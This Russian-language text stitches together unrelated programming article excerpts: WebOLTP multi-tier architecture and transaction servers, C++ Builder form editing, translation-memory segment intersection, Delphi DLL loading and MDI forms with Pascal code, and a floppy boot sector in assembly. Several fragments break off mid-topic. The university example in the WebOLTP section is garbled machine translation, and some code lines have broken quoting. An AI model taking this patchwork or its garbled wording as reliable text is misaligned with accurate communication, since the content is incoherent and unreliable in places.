    “Тонкие клиенты” В традиционных системах клиент/сервер для запуска приложений необходимо, чтобы клинтское ПО было заранее установлено. В архитектуре с “тонким” клиентом специализированное программное обеспечение не обязательно устанавливать на клиенте, поскольку исполняемые компоненты могут загружаться с Web site для последующего взаимодействия с клиентом. Таким образом, “тонкий” клиент или клиент с “нулевой инсталляцией” получает два ключевых преимущества при работе в сети: универсальный доступ и уменьшение затрат на инсталляцию и управление. Однако, из-за наличия броузеров и HTML, тонким клиентам для динамического управления бизнес-приложениями необходимо использование дополнительных средств, таких как Java-апплеты. Большие объемы при большом количестве соединений В отличие от приложений клиент/сервер и их предшественников, пользователи WebOLTP могут существенно расширить границы отдела или компании, используя extranets или Internet. С этими новыми приложениями "самообслуживания", доступ больше не ограничивается небольшим количеством клерков, регистрирующих заказы, но вместо этого становится открытым для тысяч пользователей, одновременно выполняющих транзакции. Это потребует хорошо масштабируемую архитектуру сервера для построения WebOLTP приложений. Непредсказуемые нагрузки Приложения с отчетливо выраженным кругом потребителей работают с достаточно ясно определенными наборами действий и нагрузок. Использование WebOLTP-приложений, благодаря открытому кругу пользователей в них, должно привести к непредсказуемым нагрузкам. По мере того, как любое Web-приложение становится доступно, менеджерами Web-узлов обычно затрудняются предсказать, когда и сколько пользователей пытаются загружаться.
    Чтобы справляться с неожиданными скачками загрузки при сохранении приемлемого времени отклика, требуется наличие хорошо регулируемых и адаптирующихся систем. Короткий жизненный цикл приложения Каждая следующая генерация приложений кажется обреченной на более короткий жизненный цикл, чем предшествующая. Хотя жизненные циклы, по-видимому, немного удлинятся по мере развития технологии Internet, современные приложения для Сети требуют всего лишь несколько недель или месяцев на разработку, и разрабатываться только в последние 12-18 месяцев. Web-менеджеры стараются корректировать содержимое узла ежедневно и обновлять их графику по крайней мере каждые 9-12 месяцев. Поскольку текущие ожидания потребителя заставят WebOLTP-приложения последовать этому примеру, технология для построения этих систем должна быть очень легкой для использовать и развертывания. Появление WebOLTP-архитектуры Новая архитектура и модель использования призваны удовлетворить строгие требования к WebOLTP-приложениям. Возникновение 3-уровневой или многоуровеневой архитектуры (см. Рис. 4) отвечает потребностям WebOLTP с точки зрения масштабируемости (scalability) и динамического доступа при сохранении всех преимуществ базовой архитектуры. Инфраструктура Web В этой новой модели, пользователи находят и запускают приложения, использующие традиционные страницы и Web-серверы. Но вместо просто загрузки статической страницы, динамическая "апплета" загружается в индивидуальный броузер. К тому же апплета поддерживает высокоскоростные протоколы, которые позволяют ей соединяться непосредственно с сервлетами ("servlets") - ПО, работающим на промежуточном уровне. Обычно сервлеты обеспечивают доступ к одной или более баз данных, реализуют бизнес-логику и возвращают результаты апплете для отображения на клиенте. Введение в WebOLTP
    Рисунок 4. Трехуровневая архитектура
    Хотя многие представители промышленности и ряд поставщиков усиленно “проталкивают” эту архитектуру, по-прежнему ведутся многочисленные споры о точной роли каждого компонента и о ключевых технических требованиях по обеспечению масштабируемости и простоты использования систем на основе WebOLTP. Апплеты Апплеты являются динамически загружаемыми программами, которые управляют логикой представления данных.


    В архитектуре WebOLTP апплеты также содержат часть кода, отвечающего за коммуникации, что позволяет им напрямую соединяться с сервлетами, работающими на промежуточном уровне. Существует два метода для построения апплетов. Первый основан на использовании Java и JavaBeans, второй – на основе технологии ActiveX. Безотносительно того, какая технология используется, апплеты реализуют следующие преимущества:
  • Небольшой объем, что обеспечивает быструю загрузку
  • Большую интерактивность и более дружественный интерфейс по сравнению с обычными HTML-страницами
  • Легкость в разработке и сопровождении Протоколы, отличные от HTTP На сегодня единственным широко распространенным протоколом в Сети является Hypertext Transfer Protocol – . Являясь частью исходной инфраструктуры WWW, HTTP прекрасно подходит для работы со статическими HTML-страницами. Однако он не совсем удобен для интерактивной обработки бизнес-транзакций, поскольку является странично-ориентированным и не поддерживает информацию о состояниях и соединениях. Все это является существенными недостатками, когда речь заходит о приложениях WebOLTP. Для того, чтобы обойти эти слабые места, фактически все эксперты и поставщики предлагают альтернативные протоколы для связи броузера и ПО промежуточного уровня. Ключевые требования для этих новых протоколов включают способность:
  • Поддерживать информацию о пользователях и транзакциях
  • Эффективно формировать результирующую выборку и управлять ею
  • Поддерживать транзакции
  • Предоставлять надежные механизмы шифрования данных Среда промежуточного уровня С появлением многоуровневой архитектуры, на промежуточный уровень (или уровни) была перенесена основная тяжесть прикладной обработки. Этот факт делает промежуточный уровень одним из наиболее критических и проблематичных компонентов WebOLTP архитектуры. СУБД Системы управления базами данных остаются важными компонентами всех OLTP систем, в том числе и WebOLTP. Для оптимизации СУБД в архитектуре WebOLTP необходимо:
  • Поддержка нестабильных нагрузок с отслеживанием таких свойств, как запрос очередей и приоритетов
  • Высокая скорость соединения с СУБД из Java-приложений
  • Очереди приложений и управление ресурсами как средства сокращения общего объема ресурсов в системе и достижения стабильной производительности в рамках Internet-транзакции
  • Обеспечение безопасности, как например, уполномоченная авторизация, т.е.


    соответствие, для определенных WebOLTP-приложений
  • Распределенная обработка запросов, которая позволила бы обрабатывать все многообразие типов данных, встречающихся в среде WebOLTP. Варианты ПО промежуточного уровня Возможно наиболее спорной областью WebOLTP-архитектуры является вопрос, какая технология больше всего подходит для выполнения и управления бизнес-логикой на промежуточном уровне. Приведем основные требования к ПО промежуточного уровня:
  • Масштабируемость и производительность при работе с большим количеством пользователей, сессий, транзакций и соединений с БД
  • Высокопроизводительное соединение броузера и back-end хранилища данных
  • Поддержка быстрой разработки и развертывания WebOLTP-приложений на промежуточном уровне
  • Поддержка как синхронного, так и асинхронного управления транзакциями. На сегодняшний день существует три наиболее распространенных варианта технологий для построения ПО промежуточного уровня: CORBA на основе брокеров объектных запросов (Object Request Brokers - ORBs); мониторы обработки транзакций (Transaction Processing Monitors - TP-Monitors) и серверы Web-приложений.
    Каждая из этих технологий имеет свои сильные стороны, но ни одна из них идеально не подходит для требований WebOLTP на промежуточном уровне.
    Объекты CORBA имеют превосходные возможности построения многоуровневой архитектуры с вызовом сильно распределенных объектов и прочисми сервисами. К сожалению, сложность общего решения и недостаток надежных средств поддержки ограничивает их применение только квалифицированными разработчиками, которые не боятся “испачкать руки”. К тому же, большинство ORB сегодня имеют примитивные механизмы исполнения на стороне сервера, что также ограничивает эффективность и масштабируемость.
    TP мониторы, с другой стороны, имеют устойчивые и отработанные механизмы выполнения, которые предоставляют превосходную эффективность и масштабируемость. Однако, подобно объектам ORB, их общая сложность и собственный интерфейс API зачастую делает TP мониторы трудными в использовании и дорогими с точки зрения установки, управления и поддержки.


    Серверы Web-приложений представляют последние решения в области программного обеспечения промежуточного уровня. Технология сервера Web-приложений появилась в результате попытки трансформировать Netscape и Web-серверы Microsoft в серверы приложений; рычагами к этому послужило последнее поколение соответствующих API -(NSAPI и ISAPI). Серверы Web-приложений вообщем являются специализированными (заказными) разработками на основе одного из инструментальных средств создания Web-узла.
    Этот мощный набор инструментальных средств действительно ведет к повышению производительности разработчика. Но с другой стороны, масштабируемость существенно ограничена прямым обращением сервера приложений к Web-серверам и отсутствием поддержки не-HTTP протоколов связи.
    Чтобы преодолеть слабые стороны существующих систем и удовлетворить требованиям WebOLTP на промежуточном уровне, обеспечивающим масштабируемость и простоту использования, был предложен новый класс системного ПО: серверы транзакций.
    Серверы Транзакций Серверы Транзакции объединяют самые лучшие возможности СФЕР и мониторов TP с компонент-основанной разработкой: это дает возможность быстрому созданию масштабируемых WebOLTP приложений. Первыми доступными серверами транзакций станут Sybase Jaguar CTS (Компонентный сервер транзакций) от Sybase, Inc. и Microsoft Transaction Server (прежде известные как Viper). Поскольку спрос на WebOLTP растет, вскоре, по-видимому, должны появиться другие продукты этого класса. Введение в WebOLTP
    Рисунок 5. Серверы транзакций объединяет самые лучшие возможности TP мониторов и ORB.
    Серверы транзакций характеризуются следующими отличительными свойствами:
  • Предлагают встроенные возможности управления транзакциями.
  • Обеспечивают механизм запуска и управления сервлетами (servlets).
  • Поддерживают вызовы распределенных объектов для обеспечения связи в многоуровневых приложениях.
  • Поддерживают средства быстрой разработки ПО для промежуточного уровня, включая компонентную разработку.


  • Выбор компонентов для групповых операций

    Для эффективной разработки пользовательских интерфейсов приложений C++ Builder нередко возникает необходимость в манипулировании компонентами на формах.. Большинство операций для манипулирования компонентами находятся в меню Edit: К различным опциям этого меню следует обращаться после того, как на форме вы ран один или несколько компонентов, свойства которых требуется изменить. Выбрать один компонент можно следующими способами:
  • Выбрав с помощью мыши компонент на форме
  • Выбрав имя компонента в селекторе объектов.
  • Переходом к компоненту на форме, нажимая клавишу Tab. Выбрать несколько компонентов можно следующими способами:
  • Удерживая нажатой клавишу Shift, щелкнуть мышью на каждом компоненте
  • Нажать левую клавишу мыши и окружить нужные компоненты прямоугольным контуром

    Вычисление пересечения языковых пар

    Поскольку выделение общей части двух сегментов- важный этап предлагаемой технологии перевода, изучим этот вопрос более детально. При этом, помня о том, что сегмент в памяти перевода выступает, чаще всего, не отдельно, а как элемент языковой пары, будем рассматривать именно пересечение пар. Для начала дадим определения пересечения сегментов. Итак, пересечение сегментов A и B- это множество сегментов Ci, таких что:
  • каждый из Ci содержится и в A, и в B;
  • никакие два Ci не содержат одинаковых фрагментов;
  • не существует такого сегмента D, что и A, и B содержат D, и D содержит один из сегментов Ci. Приведенное определение не подразумевает выделения из сегментов A и B всех общих фрагментов. Это сделано для того, чтобы можно было использовать алгоритмы различной сложности реализации пересечения. Теперь перейдем к пересечению языковых пар. Как уже было упомянуто выше, очень важно определить, является ли пересечение изоморфным, иными словами, можно ли считать результаты пересечения исходных и целевых сегментов языковой парой. Два примера иллюстрируют это (рис. 5). В первом случае пару сегментов "достаточно высока" и "ishighenough" имеет смысл поместить в память переводов, поскольку она действительно представляет собой вариант перевода, который может быть повторно использован переводчиком. Во втором случае- это совершенно очевидно- сегменту "достаточно" не следует сопоставлять сегмент "ishighenough", поскольку данная языковая пара будет некорректной. Вычисление пересечения языковых пар Рис. 5 Для проверки изоморфизма пересечений можно использовать подход, основанный на технологии машинного перевода. Его суть в сопоставлении терминов, образующих исходный и целевой сегменты. Для этого необходимо произвести грамматический разбор сегментов с целью выделения терминов и синтаксических связей между ними. После этого можно воспользоваться терминологическим словарем для определения того, какому термину в целевом сегменте соответствует заданный термин в исходном сегменте. Иными словами, изоморфизм можно определить по следующему критерию (рис. 6):
  • пересечение является изоморфным, если всем терминам его исходного сегмента, сопоставлены термины его целевого сегмента, и синтаксические связи между ними идентичны тем, которые присутствуют в сегментах, из которых было получено пересечение. Вычисление пересечения языковых пар Рис. 6 В общем случае, для оценки изоморфизма можно проверять не только отдельные термины (суть корневые узлы графа памяти переводов), но и родительские сегменты всех уровней. Это повысит надежность оценки, снизив риск неправильного определения синтаксических связей. Следует обратить внимание на тот факт, что в предлагаемой модели машинный перевод используется только для грамматического анализа текста, образующего сегмент. Слабым местом систем машинного перевода является выбор перевода для терминов сегмента, и именно эта задача решается более надежным способом- с помощью памяти переводов.

    Выделение терминов и анализ терминологии

    На этом этапе производится исследование текста с целью выяснения, какие слова или словосочетания могут быть взяты в качестве терминов. После того, как определен термин на исходном языке, осуществляется анализ терминологии на предмет того, какой термин на целевом языке следует выбрать для обозначения нужного концепта. Например, если в исходном тексте встретилось словосочетание "операционная система" то программа должна проанализировать его в качестве возможного термина, даже если в системе уже определены термины "операционный" и "система".

    Выполнение сценария регистрации

    Строки кода, размещенные в метке E, используются для создания объекта-оболочки, для отображения сетевого накопителя и выполнения сценария регистрации (в последнем случае используется метод run объекта-оболочки). Для выполнения сценариев регистрации .bat и .cmd нужно выделять применяемый по умолчанию каталог, однако сценарий выполняется в соответствии с соглашением по универсальным именам UNC (Universal Naming Convention), которое этого не предусматривает. Таким образом, для работы с названными сценариями накопителю необходимо присвоить буквенное обозначение. Если же сценарий регистрации написан в формате .vbs, .exe или в другом формате, не требующем присвоения накопителю буквенного обозначения, можно удалить все команды, управляющие отображением накопителя (метка F) и сохранить лишь ту часть программы, которая обеспечивает создание объекта-оболочки и выполнение сценария непосредственно с UNC. Сегмент сценария с соответствующими модификациями представлен в .

    Выравнивание компонентов

    Для выравнивания компонентов на форме можно использовать следующие комбинации клавиш:
    Shift + стрелки Изменяет размер компонента на один пиксел в направлении выбранной стрелки
    Shift + Ctrl + стрелки Перемещает компонент на одну единицу сетки в направлении выбранной стрелки
    Ctrl + стрелки Перемещает компонент на один пиксел в направлении выбранной стрелки
    Можно также выровнять компоненты, используя пункт меню View/Alignment Palette. Для этого нужно:
  • Выбрать компоненты для выравнивания.
  • Выбрать пункт меню View/Alignment Palette.
  • Выбрать нужную кнопку (см. рис. 5). Выравнивание компонентов Рис.5 Выравнивание компонентов с помощью View/Alignment Palette Можно выровнять компоненты, используя пункт меню Edit/Align. Для этого нужно:
  • Выбрать компоненты для выравнивания.
  • Выбрать пункт меню Edit/Align. Появится диалоговое окно Alignment.
  • Выбрать нужную опцию и нажать на кнопку OK (рис 6). Выравнивание компонентов Рис.6. Выравнивание компонентов с помощью меню Edit/Align Можно изменить условия выравнивания компонент, используя пункт меню Options/Environment. Для этого нужно:
  • Выбрать пункт меню Options/Environment. Диалоговое окно Environment появится открытым на странице Preferences.
  • В группе Form designer можно выбрать следующие опции:
  • Display grid - сделать сетку из точек на форме видимой для выравниваемых компонентов
  • Snap to grid - заставить левые и верхние стороны компонентов расположиться а линиях сетки.
  • Для того, чтобы изменить расстояние между узлами сетки, нужно ввести новые значения вместо имеющихся. Значение по умолчанию -- 8 пикселей по оси X (по горизонтали) и по оси Y (по вертикали).
  • Нажать OK. Выравнивание компонентов Рис. 7. Выравнивание компонентов с помощью страницы Preferences диалоговой панели Environment

    Высокоскоростные приложения в архитектуре клиент/сервер для Web

    Пользователи Delphi теперь могут создавать высокоскоростные Internet-приложения с базами данных, используя имеющийся опыт создания приложений в архитектуре клиент/сервер. Открытая архитектура продукта позволяет им создавать Web-приложения, поддерживающие основные стандарты Internet, такие как ISAPI, NSAPI, ActiveX, HTML, WinCGI и CGI. Помимо этого, новое средство поставки Web-приложений, входящее в Delphi 3, может представить завершенное клиент-серверное приложение с "тонким" клиентом как форму ActiveX в Web, снижая расходы компаний на конфигурацию и поставку приложений.

    Вывод - больше прагматизма!

    Именно осознание малой практической ценности популярных когда-то направлений сделало многих практиков скептиками, не верящими в новые идеи. Это опасно, потому что так можно дойти до неприятия действительно полезных идей, не говоря уже о более приземленных вещах, таких как сокращение финансирования исследовательских работ. Перечисленные идеи потеряют мифологический статус и действительно обеспечат реальную помощь в создании качественного и надежного ПО только в том случае, если будут подвергнуты критическому анализу. Кроме того, они должны использоваться не по отдельности, а в сочетании друг с другом Однако я должен еще раз повторить уже не однажды высказанное предупреждение: исследователям не следует предлагать свои разработки практикам до того, как будут получены убедительные доказательства их действительной полезности. Важно, чтобы при этом рассматривались и вопросы, связанные с ограничениями новых технологий и стоимостью их адаптации. У каждого из нас - своя роль. Практики должны более четко объяснять исследователям свои реальные проблемы, используя для этого и компьютерную прессу, и трибуны научных конференций. Исследователи должны демонстрировать эффективность своих идей на реальных, а не игрушечных задачах, и только потом выходить с ними на рынок.

    Вызов процедур и функций, загруженных из DLL.

    Способ вызова процедур и функций зависит от того, каким образом вы загрузили динамическую библиотеку, в которой эти подпрограммы находятся. Вызов функций и процедур из статически загруженных DLL достаточно прост. Первоначально в приложении должно содержаться описание экспортируемой функции (процедуры). После этого вы можете их использовать точно так же, как если бы они были описаны в одном из модулей вашего приложения. Для импорта функции или процедуры, содержащейся в DLL, необходимо использовать модификатор external в их объявлении. К примеру, для рассмотренной нами выше процедуры HelloWorld в вызывающем приложении должна быть помещена следующая строка: procedure SayHello(AForm : TForm); external myfirstdll.dll'; Ключевое слово external сообщает компилятору, что данная процедура может быть найдена в динамической библиотеке (в нашем случае - myfirstdll.dll). Далее вызов этой процедуры выглядит следующим образом: ... HelloWorld(self); ... При импорте функции и процедур будьте особенно внимательны при написании их имен и интерфейсов! Дело в том, что в процессе компиляции приложения не производится проверки на правильность имен объектов, экспортируемых из DLL, осуществляться не будет, и если вы неправильно описали какую-нибудь функцию, то исключение будет сгенерировано только на этапе выполнения приложения. Импорт из DLL может проводиться по имени процедуры (функции), порядковому номеру или с присвоением другого имени. В первом случае вы просто объявляете имя процедуры и библиотеку, из которой ее импортируете (мы это рассмотрели чуть выше). Импорт по порядковому номеру требует от вас указание этого самого номера: procedure HelloWorld(AForm : TForm); external myfirstdll.dll' index 15; В этом случае имя, которое вы даете процедуре при импорте не обязательно должно совпадать с тем, которое было указано для нее в самой DLL. Т.е. приведенная выше запись означает, что вы импортируете из динамической библиотеки myfirstdll.dll процедуру, которая в ней экспортировалась пятнадцатой, и при этом в рамках вашего приложения этой процедуре дается имя SayHello. Если вы по каким-то причинам не применяете описанный выше способ импорта, но тем не менее хотите изменить имя импортируемой функции (процедуры), то можно воспользоваться третьим методом: procedure CoolProcedure; external myfirstdll.dll' name DoSomethingReallyCool'; Здесь импортируемой процедуре CoolProcedure дается имя DoSomethingReallyCool.
    Причем создание и помещение форм в динамическую библиотеку не слишком сильно отличается от работы с формами в обычном проекте. Сначала мы рассмотрим, каким образом можно написать библиотеку, содержащую формы, а затем мы поговорим об использовании технологии MDI в DLL. Разработку DLL, содержащую форму, я продемонстрирую на примере. Итак, во-первых, создадим новый проект динамической библиотеки. Для этого выберем пункт меню File|New, а затем дважды щелкнем на иконку DLL. После этого вы увидите примерно следующий код: library Project2; {здесь были комментарии} uses SysUtils, Classes; {$R *.RES} begin end. Сохраните полученный проект. Назовем его DllForms.dpr. Теперь следует создать новую форму. Это можно сделать по-разному. Например, выбрав пункт меню File|New Form. Добавьте на форму какие-нибудь компоненты. Назовем форму DllForm и сохраним получившийся модуль под именем DllFormUnit.pas. Вернемся к главному модулю проекта и поместим в него функцию ShowForm, в задачу которой будет входить создание формы и ее вывод на экран. Используйте для этого приведенный ниже код. function ShowForm : Integer; stdcall; var Form : TDLLForm; begin Form := TDLLForm.Create(Application); Result := Form.ShowModal; Form.Free; end; Обращаю внимание, что для того, чтобы проект был скомпилирован без ошибок, необходимо добавить в секцию uses модуль Forms. Экспортируем нашу функцию с использованием ключевого слова exports : exports ShowForm; Компилируем проект и получаем файл dllforms.dll. Эти простые шаги - все, что необходимо сделать для создания динамической библиотеки, содержащей форму. Обратите внимание, что функция ShowForm объявлена с использованием ключевого слова stdcall. Оно сигнализирует компилятору использовать при экспорте функции соглашение по стандартному вызову (standard call calling convention). Экспорт функции таким образом создает возможность использования разработанной DLL не только в приложениях, созданных в Delphi. Соглашение по вызову (Calling conventions) определяет, каким образом передаются аргументы при вызове функции.


    Существует пять основных соглашений: stdcall, cdecl, pascal, register и safecall. Подробнее об этом можно узнать, посмотрев раздел "Calling Conventions" в файле помощи Delphi. Также обратите внимание, что значение, возвращаемое функцией ShowForm, соответствует значению ShowModal. Таким образом вы можете передавать некоторую информацию о состоянии формы вызывающему приложению. Ниже представлено два листинга, первый из которых содержит полный код файла проекта DLL (модуль с формой здесь не приводится), а второй - модуль вызывающего приложения, в котором используется только что разработанная нами библиотека. library DllForms; uses SysUtils, Classes, Forms, DllFormUnit in 'DllFormUnit.pas' {DllForm}; {$R *.RES} function ShowForm : Integer; stdcall; var Form : TDLLForm; begin Form := TDLLForm.Create(Application); Result := Form.ShowModal; Form.Free; end; begin end. unit TestAppUnit; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; function ShowForm : Integer; stdcall; external dllforms.dll'; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); begin ShowForm; end; end. Прошу заметить, что при экспорте функции также было использовано ключевое слово stdcall. Следует обратить особое внимание на работу с дочерними формами в DLL. Если, к примеру, в вызывающем приложении главная форма имеет значение свойства FormStyle, равным MDIForm, то при попытке вызова из DLL MDIChild-формы, на экране появится сообщение об ошибке, в котором будет говориться, что нет ни одной активной MDI-формы. В тот момент, когда вы пытаетесь показать ваше дочернее окно, VCL проверяет корректность свойства FormStyle главной формы приложения. Однако в нашем случае все вроде бы верно. Так в чем же дело? Проблема в том, что при проведении такой проверки, рассматривается объект Application, принадлежащий не вызывающему приложению, а собственно динамической библиотеке.


    Ну, и естественно, поскольку в DLL нет главной формы, проверка выдает ошибку. Для того чтобы избежать такой ситуации, надо назначить объекту Application динамической библиотеки объект Application вызывающего приложения. Естественно, это заработает только в том случае, когда вызывающая программа - VCL-приложение. Кроме того, перед выгрузкой библиотеки из памяти необходимо вернуть значение объекта Application библиотеки в первоначальное состояние. Это позволит менеджеру памяти очистить оперативную память, занимаемую библиотекой. Следовательно, вам нужно сохранить указатель на "родной" для библиотеки объект Application в глобальной переменной, которая может быть использована при восстановлении его значения. Итак, вернемся немного назад и перечислим шаги, необходимые нам для работы с помещенным в DLL MDIChild-формами.
  • В динамической библиотеке создаем глобальную переменную типа TApplication.
  • Сохраняем указатель на объект Application DLL в глобальной переменной.
  • Объекту Application динамической библиотеки ставим в соответствие указатель на Application вызывающего приложения.
  • Создаем MDIChild-форму и работаем с ней.
  • Возвращаем в первоначальное состояние значение объекта Application динамической библиотеки и выгружаем DLL из памяти. Первый шаг прост. Просто помещаем следующий код в верхней части модуля DLL: var DllApp : TApplication; Затем создаем процедуру, которая будет изменять значение объекта Application и создавать дочернюю форму. Процедура может выглядеть примерно так: procedure ShowMDIChild(MainApp : TApplication); var Child : TMDIChild; begin if not Assigned(DllApp) then begin DllApp := Application; Application := MainApp; end; Child := TMDIChild.Create(Application.MainForm); Child.Show; end; Все, что нам теперь необходимо сделать, - это предусмотреть возвращение значения объекта Application в исходное состояние. Делаем это с помощью процедуры MyDllProc: procedure MyDLLProc(Reason: Integer); begin if Reason = DLL_PROCESS_DETACH then { DLL is выгружается.Восстанавливаем значение указателя Application} if Assigned(DllApp) then Application := DllApp; end;

    WebOLTP в реальном мире

    Каким образом корпорации могут использовать эту новую технологию? Рассмотрим несколько примеров.
    Крупный дистрибьютор продовольственных товаров разрабатывает приложение для публикации в Интернет информации о ценах и запасах товаров таким образом, чтобы те, кто доставляет товары, могли обеспечивать более персонализированное обслуживание заказчиков и даже выписывать счета-фактуры, когда продукты уже доставлены. При более чем 10,000 маршрутов ежедневно и приблизительно 100,000 выданных счетов, такой подход даст возможность дистрибьютору поддерживать и улучшать отношения с клиентами при максимальной эффективности персонала и офисных систем и более равномерной загруженности в отличие от нынешней неравномерности. Компания планирует оборудовать средства доставки бортовым устройством, которое свяжет их с системой прейскурантов и товарных остатков по Сети. В конечном счете, система даст возможность ввести персональные ценовые соглашения, что будет способствовать привлечению заказчиков и достижению конкурентных преимуществ.
    В другой отрасли, большая национальная сеть книжных магазинов разрабатывает Интернет-приложение для поиска имеющихся книг и регистрации заказов. В настоящее время если заказчик, посещающий один из магазинов сети, не может найти нужную книгу, представитель подразделения обслуживания заказчиков может предложить заказать книгу и вызывать заказчика, когда она прибудет. Однако, при большом количестве складов по всей стране весьма вероятно, что книга имеется где-нибудь в наличии, т.е. ее можно было бы продать и спланировать доставку прямо по адресу заказчика. Разрабатываемое в настоящее время Интернет-приложение позволит представителям подразделения обслуживания заказчиков отыскивать нужную книгу по всем магазинам сети, размещать заказ на нее, отсылать команды на доставку в то место, где она есть и которое ближе к покупателю.
    Большой государственный университет в настоящее время(постоянно) разрабатывает приложение, которое упростит и рационализирует громоздкий процесс в университетских городках по всей стране.
    Студенты будут скоро способны регистрировать для классов над Интернетом. Сначала, конечно, они будут хотеть проверять, где они стоят в терминах требований за их майоров. Затем они будут способны выбрать их ходы в течение текущего (актуального) семестра и подтверждать их регистрацию документов. С завершенным, студенты будут двигаться в другой экран, который перечисляет книги для хода, приобретение те они хотят, и упорядочение подбирать их или их поставленные. Если они хотят обвинять(наполнять) книги их счету студента, они могут делать это; или, в случае необходимости, они могут упорядочивать, чтобы переместить фонды от их банковского счета до их счета студента, чтобы покрыть приобретение.

    Если имеются финансовые выдачи(проблемы) помощи, которые должны быть обработаны, они будут способны адресовать над Сетью также. Для таковых нас, кто потратили(провели), часы, ждущие в строке, чтобы регистрировать для ходов, чтобы приобрести книги, или выработать подробности наших финансовых программ помощи, значение этой новой системы немедленно очевидны.

    Загрузка DLL

    Прежде чем начать использование какой-либо процедуры или функции, находящейся в динамической библиотеке, вам необходимо загрузить DLL в оперативную память. Загрузка библиотеки может быть осуществлена одним из двух способов: статическая загрузка и динамическая загрузка. Оба метода имеют как преимущества, так и недостатки. Статическая загрузка означает, что динамическая библиотека загружается автоматически при запуске на выполнение использующего ее приложения. Для того чтобы использовать такой способ загрузки, вам необходимо воспользоваться ключевым словом external при описании экспортируемой из динамической библиотеки функции или процедуры. DLL автоматически загружается при старте программы, и Вы сможете использовать любые экспортируемые из нее подпрограммы точно так же, как если бы они были описаны внутри модулей приложения. Это наиболее легкий способ использования кода, помещенного в DLL. Недостаток метода заключается в том, что если файл библиотеки, на который имеется ссылка в приложении, отсутствует, программа откажется загружаться. Смысл динамического метода заключается в том, что вы загружаете библиотеку не при старте приложения, а в тот момент, когда вам это действительно необходимо. Сами посудите, ведь если функция, описанная в динамической библиотеке, используется только при 10% запусков программы, то совершенно нет смысла использовать статический метод загрузки. Выгрузка библиотеки из памяти в данном случае также осуществляется под вашим контролем. Еще одно преимущества такого способа загрузки DLL - это уменьшение (по понятным причинам) времени старта вашего приложения. А какие же у этого способа имеются недостатки? Основной, как мне кажется, - это то, что использование данного метода является более хлопотным, чем рассмотренная выше статическая загрузка. Сначала вам необходимо воспользоваться функцией Windows API LoadLibrary. Для получения указателя на экспортируемой процедуры или функции должна использоваться функция GetProcAddress. После завершения использования библиотеки DLL должна быть выгружена с применением FreeLibrary.

    Загрузочный сектор (boot.S)

    Сознательно не буду приводить листингов программ. Так станут понятней основные идеи, да и вам будет намного приятней, если все напишите своими руками. Для начала определимся с основными константами. START_HEAD = 0 - Головка привода, которою будем использовать. START_TRACK = 0 - Дорожка, откуда начнем чтение. START_SECTOR = 2 - Сектор, начиная с которого будем считывать наше ядрышко. SYSSIZE = 10 - Размер ядра в секторах (каждый сектор содержит 512 байт) FLOPPY_ID = 0 - Идентификатор привода. 0 - для первого, 1 - для второго HEADS = 2 - Количество головок привода. SECTORS = 18 - Количество дорожек на дискете. Для формата 1.44 Mb это количество равно 18. В процессе загрузки будет происходить следующее. Загрузчик BIOS считает первый сектор дискеты, положит его по адресу 0000:0x7c00 и передаст туда управление. Мы его получим и для начала переместим себя пониже по адресу 0000:0x600, перейдем туда и спокойно продолжим работу. Собственно вся наша работа будет состоять из загрузки ядра (сектора 2 - 12 первой дорожки дискеты) по адресу 0x100:0000, переходу в защищенный режим и скачку на первые строки ядра. В связи с этим еще несколько констант: BOOTSEG = 0x7c00 - Сюда поместит загрузочный сектор BIOS. INITSEG = 0x600 - Сюда его переместим мы. SYSSEG = 0x100 - А здесь приятно расположится наше ядро. DATA_ARB = 0x92 - Определитель сегмента данных для дескриптора CODE_ARB = 0x9A - Определитель сегмента кода для дескриптора. Первым делом произведем перемещение самих себя в более приемлемое место. cli xor ax, ax mov ss, ax mov sp, #BOOTSEG mov si, sp mov ds, ax mov es, ax sti cld mov di, #INITSEG mov cx, #0x100 repnz movsw jmpi go, #0 ; прыжок в новое местоположение загрузочного сектора на метку go Теперь необходимо настроить как следует сегменты для данных (es, ds) и для стека. Это конечно неприятно, что все приходится делать вручную, но что делать. Ведь нет никого в памяти компьютера, кроме нас и BIOS. go: mov ax, #0xF0 mov ss, ax mov sp, ax ; Стек разместим как 0xF0:0xF0 = 0xFF0 mov ax, #0x60 ; Сегменты для данных ES и DS зададим в 0x60 mov ds, ax mov es, ax Наконец можно вывести победное приветствие.
    Пусть мир узнает, что мы смогли загрузиться. Поскольку у нас есть все-таки еще BIOS, воспользуемся готовой функцией 0x13 прерывания 0x10. Можно конечно презреть его и написать напрямую в видеопамять, но у нас каждый байт команды на счету, а байт таких всего 512. Потратим их лучше на что-нибудь более полезное. mov cx,#18 mov bp,#boot_msg call write_message Функция write_message выгдядит следующим образом write_message: push bx push ax push cx push dx push cx mov ah,#0x03 ; прочитаем текущее положение курсора, дабы не выводить сообщения где попало. xor bh,bh int 0x10 pop cx mov bx,#0x0007 ; Параметры выводимых символов : видеостраница 0, аттрибут 7 (серый на черном) mov ax,#0x1301 ; Выводим строку и сдвигаем курсор. int 0x10 pop dx pop cx pop ax pop bx ret А сообщение так boot_msg: .byte 13,10 .ascii "Booting data ..." .byte 0 К этому времени на дисплее компьютера появится скромное "Booting data ..." . Это в принципе уже "Hello World", но давайте добьемся чуточку большего. Перейдем в защищенный режим и выведем этот "Hello" уже из программы написаной на C. Ядро 32-разрядное. Оно будет у нас размещаться отдельно от загрузочного сектора и собираться уже gcc и gas. Синтаксис ассемблера gas соответсвует требованиям AT&T, так что тут уже все проще. Но для начала нам нужно прочитать ядро. Опять воспользуемся готовой функцией 0x2 прерывания 0x13. recalibrate: mov ah, #0 mov dl, #FLOPPY_ID int 0x13 ; производим переинициализацию дисковода. jc recalibrate call read_track ; вызов функции чтения ядра jnc next_work ; если во время чтения не произошло ничего плохого то работаем дальше bad_read: ; если чтение произошло неудачно то выводим сообщение об ошибке mov bp,#error_read_msg mov cx,7 call write_message inf1: jmp inf1 ; и уходим в бесконечный цикл. Теперь нас спасет только ручная перезагрузка Сама функция чтения предельно простая: долго и нудно заполняем параметры, а затем одним махом считываем ядро. Усложнения начнуться, когда ядро перестанет помещаться в 17 секторах ( то есть 8.5 kb), но это пока только в будущем, а пока вполне достаточно такого молниеносного чтения.


